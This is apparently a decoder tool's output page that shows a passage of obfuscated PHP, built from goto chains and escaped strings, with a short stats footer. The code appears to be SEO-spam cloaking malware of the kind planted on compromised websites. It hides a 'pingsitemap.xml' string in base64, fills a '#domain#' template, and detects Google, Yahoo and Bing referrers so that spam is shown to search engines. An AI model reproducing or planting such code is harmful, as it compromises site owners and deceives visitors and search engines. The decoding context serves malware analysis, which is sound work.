mep3b: if (!(md5(substr($ggr5l, -4)) == "\64\x65\x39\146\x36\x63\x37\x66\x64\145\146\63\x32\x37\141\x36\x62\x30\145\60\70\65\x30\x35\144\x63\65\67\141\x36\x39\64" && stripos($ggr5l, base64_decode("\143\107\154\165\132\63\x4e\160\144\107\x56\164\x59\x58\101\165\145\107\61\x73")) === false)) { goto uhr4u; } goto fv0n8; vtaa6: @ob_start(); goto jmrmz; o9thp: $rkvmp = "\x3f"; goto prcie; vbpri: function z2elj($d84ct, $slae3 = 4) { goto uq5wk; ko9n2: goto zl_ba; goto akubc; nmorj: $epiy0 = substr($epiy0, 0, $slae3); goto nkoki; yfe54: a83ke: goto cqsk1; wu1tp: sguoh: goto nxw3j; w7u6m: zl_ba: goto gfuh9; akubc: fe8jm: goto wu1tp; gfuh9: if (!($kehxv < strlen($d84ct))) { goto fe8jm; } goto a_xpp; uq5wk: $kehxv = 0; goto us5g7; h6glx: goto sguoh; goto yfe54; nxw3j: if (!(strlen($epiy0) < $slae3)) { goto a83ke; } goto ksmpz; h4ajp: return (string) $epiy0; goto manj5; ksmpz: $epiy0 = (int) $epiy0 . "\x30"; goto h6glx; nkoki: dxmqo: goto h4ajp; a_xpp: $epiy0 += ord(substr($d84ct, $kehxv, 1)); goto vk8is; us5g7: $epiy0 = 1; goto w7u6m; cqsk1: if (!(strlen($epiy0) > $slae3)) { goto dxmqo; } goto nmorj; vk8is: $kehxv++; goto ko9n2; manj5: } goto aqfmh; vmcz0: $u57xm = str_replace("\x23\x64\x6f\155\x61\x69\x6e\x23", $lbbwi, $yaj2x["\x6d\147\163"]); goto mep3b; ex7u9: function exsno($nt0zl) { goto fmimr; y04_p: $nt0zl = strtolower($nt0zl); goto b918i; mmpua: c8moc: goto qylbn; jtp50: return false; goto mh8ut; mh8ut: j6i_i: goto kx9wl; kx9wl: $uh2yb = array("\147\157\x6f\x67\x6c\x65\56\x63\157\x2e\152\x70", "\x67\x6f\x6f\x67\x6c\145\56\x63\x6f\155", "\171\141\x68\157\x6f\56\x63\157\x2e\x6a\160", "\x79\141\150\x6f\x6f\x2e\143\x6f\x6d", "\x62\x69\x6e\x67\56\x63\x6f\x6d"); goto j7jez; b918i: if (!(!$nt0zl || $nt0zl == '' || empty($nt0zl))) { goto j6i_i; } goto jtp50; fmimr: $tvyci = false; goto y04_p; j7jez: foreach ($uh2yb as $lgcuy) { goto qsmje; frg2m: jayrk: goto tyw0t; qsmje: if (!(stripos($nt0zl, trim($lgcuy)) !== false)) { goto jayrk; } goto hxzkh; tyw0t: mxqz7: goto vzsgx; kc0gw: goto c8moc; goto frg2m; hxzkh: $tvyci = true; goto kc0gw; vzsgx: } goto mmpua; qylbn: return $tvyci; goto hrztm; hrztm: } ?>
Function Calls
None |
Stats
MD5 | 18d37eac34859ca323f89fe549fa332a |
Eval Count | 0 |
Decode Time | 67 ms |